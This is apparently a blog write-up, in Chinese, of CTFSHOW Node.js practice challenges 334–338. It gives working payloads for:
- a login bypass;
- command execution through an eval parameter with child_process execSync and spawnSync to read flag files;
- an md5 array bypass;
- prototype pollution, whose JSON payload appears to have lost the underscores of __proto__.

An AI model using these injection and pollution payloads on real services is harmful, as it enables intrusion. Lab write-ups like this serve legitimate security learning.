目录

CTFSHOW nodejs 334-338

# CTFSHOW nodejs 334-338

nodejs是跨平台的 JavaScript 后端语言,用于开发服务器端应用程序。它能够执行文件读取、数据库查询等服务器端操作

参考文章

CTFSHOW-nodejs (opens new window) node官方文档 (opens new window) node官方文档--子进程 (opens new window)

# web 334 审计

下载文件添加zip扩展名,解压得到两个js文件

user.js里存储了用户名,密码

user

login.js里存放了登录的操作过程

return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
1

关键语句,登录的用户名不能等于“CTFSHOW”,登录用户名的大写等于存放的用户名“CTFSHOW”,密码等于存放的密码“123456”

所以,name=ctfshow,pwd=123456

# web 335 命令执行

查看源码,?eval,提示get传参执行命令,类似php的eval函数

exec

看了这个文档,带exec的应该都能直接执行命令吧(稍加思考)

# payload1,成功
?eval=require("child_process").execSync("ls;tac fl00g.txt");
# payload2,失败
?eval=require("child_process").exec("ls");
1
2
3
4

execSync可以执行,exec不能直接执行命令的原因,execSync 是同步函数,它可以直接在 require 语句后调用,并立即返回执行结果,可以直接在一行代码中调用它来执行命令并获取输出。那么同进程的其他命令执行函数也是如此?

# web 336 命令执行

上一题payload打不通了。换个函数,spawnSync(),不要直接像上一题一样写一大坨命令例如:

spawnSync("ls;tac flag.txt")
1

在这函数规定了似乎不允许

spawnSync

这个函数执行不能直接输出到页面,用stdout,toString()方法打印出 来

?eval=require("child_process").spawnSync("tac",['fl001g.txt']).stdout.toString();
1

# web 337

关键代码,接受参数a,b。类似php的一个md5比较,数组绕过

var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
    res.end(flag);
}
1
2
3
4
5

url?a[]=1&b[]=1

# web 338 原型链污染

查看routes目录下login.js源码

login

补充:javascript中,所有对象都继承自一个原型对象,原型对象增加新的属性时,其他对象都会继承

const user = {name:"cola"}
const tool = {tools:"Google"}
Object.prototype.lang = "Python"
console.log(tool.lang)
//现在,打印结果出现了tool对象不存在的属性lang,从原型对象那里继承得来
//Python
1
2
3
4
5
6

代码会通过copy函数,把请求的内容赋值给user对象,如果我们给__proto__原型对象添加一个新的属性来影响原型对象的属性继承,那么就可以达到secert对象的属性ctfshow='36dboy'的条件

api

查看源码,登录接口需要传json数据

那这里就可以传一个json对象,{"proto":{"ctfshow":"36dboy"}},这样就让secert继承到ctfshow=36dboy的属性

最后一次更新于: 2024/09/07, 22:30:21